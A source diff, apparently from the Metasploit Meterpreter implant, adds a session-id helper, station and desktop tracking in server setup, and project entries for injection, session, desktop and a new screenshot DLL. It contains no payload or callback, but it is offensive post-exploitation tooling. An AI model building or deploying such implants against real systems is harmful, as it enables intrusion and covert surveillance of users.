typedef HANDLE (WINAPI * OPENTHREAD)( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId );
#endif

View File

@ -343,13 +343,48 @@ static DWORD server_dispatch( Remote * remote )
return result; return result;
} }
/*
* Get the session id that this meterpreter server is running in.
*/
DWORD server_sessionid( VOID )
{
typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id );
static PROCESSIDTOSESSIONID pProcessIdToSessionId = NULL;
HMODULE hKernel = NULL;
DWORD dwSessionId = 0;
do
{
if( !pProcessIdToSessionId )
{
hKernel = LoadLibrary( "kernel32.dll" );
if( hKernel )
pProcessIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress( hKernel, "ProcessIdToSessionId" );
}
if( !pProcessIdToSessionId )
break;
if( !pProcessIdToSessionId( GetCurrentProcessId(), &dwSessionId ) )
dwSessionId = -1;
} while( 0 );
if( hKernel )
FreeLibrary( hKernel );
return dwSessionId;
}
/* /*
* Setup and run the server. This is called from Init via the loader. * Setup and run the server. This is called from Init via the loader.
*/ */
DWORD server_setup( SOCKET fd ) DWORD server_setup( SOCKET fd )
{ {
Remote *remote = NULL; Remote * remote = NULL;
DWORD res = 0; char cStationName[256] = {0};
char cDesktopName[256] = {0};
DWORD res = 0;
dprintf("[SERVER] Initializing..."); dprintf("[SERVER] Initializing...");
@ -396,6 +431,16 @@ DWORD server_setup( SOCKET fd )
// Copy it to the thread token // Copy it to the thread token
remote->hThreadToken = remote->hServerToken; remote->hThreadToken = remote->hServerToken;
// Save the initial session/station/desktop names...
remote->dwOrigSessionId = server_sessionid();
remote->dwCurrentSessionId = remote->dwOrigSessionId;
GetUserObjectInformation( GetProcessWindowStation(), UOI_NAME, &cStationName, 256, NULL );
remote->cpOrigStationName = _strdup( cStationName );
remote->cpCurrentStationName = _strdup( cStationName );
GetUserObjectInformation( GetThreadDesktop( GetCurrentThreadId() ), UOI_NAME, &cDesktopName, 256, NULL );
remote->cpOrigDesktopName = _strdup( cDesktopName );
remote->cpCurrentDesktopName = _strdup( cDesktopName );
dprintf("[SERVER] Flushing the socket handle..."); dprintf("[SERVER] Flushing the socket handle...");
server_socket_flush( remote ); server_socket_flush( remote );

View File

@ -452,6 +452,10 @@
RelativePath="..\..\source\common\base_dispatch_common.c" RelativePath="..\..\source\common\base_dispatch_common.c"
> >
</File> </File>
<File
RelativePath="..\..\source\common\arch\win\i386\base_inject.c"
>
</File>
<File <File
RelativePath="..\..\source\common\arch\win\buffer.c" RelativePath="..\..\source\common\arch\win\buffer.c"
> >
@ -749,6 +753,10 @@
RelativePath="..\..\source\common\base.h" RelativePath="..\..\source\common\base.h"
> >
</File> </File>
<File
RelativePath="..\..\source\common\arch\win\i386\base_inject.h"
>
</File>
<File <File
RelativePath="..\..\source\common\buffer.h" RelativePath="..\..\source\common\buffer.h"
> >

View File

@ -859,6 +859,10 @@
<Filter <Filter
Name="sys" Name="sys"
> >
<File
RelativePath="..\..\source\extensions\stdapi\server\sys\session.c"
>
</File>
<Filter <Filter
Name="process" Name="process"
> >
@ -942,10 +946,6 @@
/> />
</FileConfiguration> </FileConfiguration>
</File> </File>
<File
RelativePath="..\..\source\extensions\stdapi\server\sys\process\in-mem-exe.h"
>
</File>
<File <File
RelativePath="..\..\source\extensions\stdapi\server\sys\process\memory.c" RelativePath="..\..\source\extensions\stdapi\server\sys\process\memory.c"
> >
@ -1026,18 +1026,10 @@
/> />
</FileConfiguration> </FileConfiguration>
</File> </File>
<File
RelativePath="..\..\source\extensions\stdapi\server\sys\process\process.h"
>
</File>
<File <File
RelativePath="..\..\source\extensions\stdapi\server\sys\process\ps.c" RelativePath="..\..\source\extensions\stdapi\server\sys\process\ps.c"
> >
</File> </File>
<File
RelativePath="..\..\source\extensions\stdapi\server\sys\process\ps.h"
>
</File>
<File <File
RelativePath="..\..\source\extensions\stdapi\server\sys\process\thread.c" RelativePath="..\..\source\extensions\stdapi\server\sys\process\thread.c"
> >
@ -1162,10 +1154,6 @@
/> />
</FileConfiguration> </FileConfiguration>
</File> </File>
<File
RelativePath="..\..\source\extensions\stdapi\server\sys\registry\registry.h"
>
</File>
</Filter> </Filter>
<Filter <Filter
Name="power" Name="power"
@ -1210,10 +1198,6 @@
/> />
</FileConfiguration> </FileConfiguration>
</File> </File>
<File
RelativePath="..\..\source\extensions\stdapi\server\sys\power\power.h"
>
</File>
</Filter> </Filter>
<Filter <Filter
Name="eventlog" Name="eventlog"
@ -1258,10 +1242,6 @@
/> />
</FileConfiguration> </FileConfiguration>
</File> </File>
<File
RelativePath="..\..\source\extensions\stdapi\server\sys\eventlog\eventlog.h"
>
</File>
</Filter> </Filter>
<Filter <Filter
Name="sys config" Name="sys config"
@ -1311,6 +1291,10 @@
<Filter <Filter
Name="ui" Name="ui"
> >
<File
RelativePath="..\..\source\extensions\stdapi\server\ui\desktop.c"
>
</File>
<File <File
RelativePath="..\..\source\extensions\stdapi\server\ui\idle.c" RelativePath="..\..\source\extensions\stdapi\server\ui\idle.c"
> >
@ -1515,10 +1499,54 @@
<Filter <Filter
Name="sys" Name="sys"
> >
<File
RelativePath="..\..\source\extensions\stdapi\server\sys\session.h"
>
</File>
<File <File
RelativePath="..\..\source\extensions\stdapi\server\sys\sys.h" RelativePath="..\..\source\extensions\stdapi\server\sys\sys.h"
> >
</File> </File>
<Filter
Name="process"
>
<File
RelativePath="..\..\source\extensions\stdapi\server\sys\process\in-mem-exe.h"
>
</File>
<File
RelativePath="..\..\source\extensions\stdapi\server\sys\process\process.h"
>
</File>
<File
RelativePath="..\..\source\extensions\stdapi\server\sys\process\ps.h"
>
</File>
</Filter>
<Filter
Name="registry"
>
<File
RelativePath="..\..\source\extensions\stdapi\server\sys\registry\registry.h"
>
</File>
</Filter>
<Filter
Name="power"
>
<File
RelativePath="..\..\source\extensions\stdapi\server\sys\power\power.h"
>
</File>
</Filter>
<Filter
Name="eventlog"
>
<File
RelativePath="..\..\source\extensions\stdapi\server\sys\eventlog\eventlog.h"
>
</File>
</Filter>
</Filter> </Filter>
<Filter <Filter
Name="ui" Name="ui"

View File

@ -62,6 +62,11 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "elevator", "elevator\elevat
{72F0246A-A38D-4547-9057-46020E8E503D} = {72F0246A-A38D-4547-9057-46020E8E503D} {72F0246A-A38D-4547-9057-46020E8E503D} = {72F0246A-A38D-4547-9057-46020E8E503D}
EndProjectSection EndProjectSection
EndProject EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "screenshot", "screenshot\screenshot.vcproj", "{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}"
ProjectSection(ProjectDependencies) = postProject
{72F0246A-A38D-4547-9057-46020E8E503D} = {72F0246A-A38D-4547-9057-46020E8E503D}
EndProjectSection
EndProject
Global Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32 Debug|Win32 = Debug|Win32
@ -154,6 +159,13 @@ Global
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.Release|Win32.Build.0 = Release|Win32 {662AFBB3-F64A-4AD1-8956-B9F1B846231C}.Release|Win32.Build.0 = Release|Win32
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.Release|x64.ActiveCfg = Release|x64 {662AFBB3-F64A-4AD1-8956-B9F1B846231C}.Release|x64.ActiveCfg = Release|x64
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.Release|x64.Build.0 = Release|x64 {662AFBB3-F64A-4AD1-8956-B9F1B846231C}.Release|x64.Build.0 = Release|x64
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Debug|Win32.ActiveCfg = Debug|Win32
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Debug|Win32.Build.0 = Debug|Win32
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Debug|x64.ActiveCfg = Debug|Win32
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|Win32.ActiveCfg = Release|Win32
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|Win32.Build.0 = Release|Win32
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|x64.ActiveCfg = Release|x64
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|x64.Build.0 = Release|x64
EndGlobalSection EndGlobalSection
GlobalSection(SolutionProperties) = preSolution GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE HideSolutionNode = FALSE

View File

@ -0,0 +1,381 @@
<?xml version="1.0" encoding="Windows-1252"?>
<VisualStudioProject
ProjectType="Visual C++"
Version="9.00"
Name="screenshot"
ProjectGUID="{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}"
RootNamespace="screenshot"
Keyword="Win32Proj"
TargetFrameworkVersion="196613"
>
<Platforms>
<Platform
Name="Win32"
/>
<Platform
Name="x64"
/>
</Platforms>
<ToolFiles>
</ToolFiles>
<Configurations>
<Configuration
Name="Debug|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;SCREENSHOT_EXPORTS"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="3"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="4"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Release|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="2"
WholeProgramOptimization="0"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
InlineFunctionExpansion="1"
EnableIntrinsicFunctions="false"
FavorSizeOrSpeed="2"
AdditionalIncludeDirectories="&quot;..\..\source\jpeg-8&quot;"
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;SCREENSHOT_EXPORTS;_CRT_SECURE_NO_WARNINGS"
StringPooling="true"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
CallingConvention="0"
CompileAs="1"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
AdditionalDependencies="jpeg.lib"
OutputFile=".\release\screenshot.dll"
LinkIncremental="1"
AdditionalLibraryDirectories="&quot;..\..\source\jpeg-8\lib\win\x86&quot;"
GenerateManifest="false"
ManifestFile=""
GenerateDebugInformation="false"
SubSystem="2"
OptimizeReferences="2"
EnableCOMDATFolding="2"
RandomizedBaseAddress="2"
FixedBaseAddress="1"
DataExecutionPrevention="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
EmbedManifest="false"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
CommandLine="copy /y &quot;$(ProjectDir)\release\screenshot.dll&quot; &quot;$(ProjectDir)..\..\output\&quot;"
/>
</Configuration>
<Configuration
Name="Debug|x64"
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
TargetEnvironment="3"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;SCREENSHOT_EXPORTS"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="3"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="2"
TargetMachine="17"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Release|x64"
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="2"
WholeProgramOptimization="0"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
TargetEnvironment="3"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
InlineFunctionExpansion="1"
EnableIntrinsicFunctions="false"
FavorSizeOrSpeed="2"
AdditionalIncludeDirectories="&quot;..\..\source\jpeg-8&quot;"
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;SCREENSHOT_EXPORTS;_CRT_SECURE_NO_WARNINGS"
StringPooling="true"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
CallingConvention="0"
CompileAs="1"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
AdditionalDependencies="jpeg.lib"
OutputFile=".\release\screenshot.x64.dll"
LinkIncremental="1"
AdditionalLibraryDirectories="&quot;..\..\source\jpeg-8\lib\win\x64&quot;"
GenerateManifest="false"
ManifestFile=""
GenerateDebugInformation="false"
SubSystem="2"
OptimizeReferences="2"
EnableCOMDATFolding="2"
RandomizedBaseAddress="2"
FixedBaseAddress="1"
DataExecutionPrevention="2"
TargetMachine="17"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
EmbedManifest="false"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
CommandLine="copy /y &quot;$(ProjectDir)\release\screenshot.x64.dll&quot; &quot;$(ProjectDir)..\..\output\&quot;"
/>
</Configuration>
</Configurations>
<References>
</References>
<Files>
<Filter
Name="Source Files"
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
>
<File
RelativePath="..\..\source\screenshot\bmp2jpeg.c"
>
</File>
<File
RelativePath="..\..\source\screenshot\screenshot.c"
>
</File>
</Filter>
<Filter
Name="Header Files"
Filter="h;hpp;hxx;hm;inl;inc;xsd"
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
>
<File
RelativePath="..\..\source\screenshot\bmp2jpeg.h"
>
</File>
<File
RelativePath="..\..\source\screenshot\screenshot.h"
>
</File>
</Filter>
</Files>
<Globals>
</Globals>
</VisualStudioProject>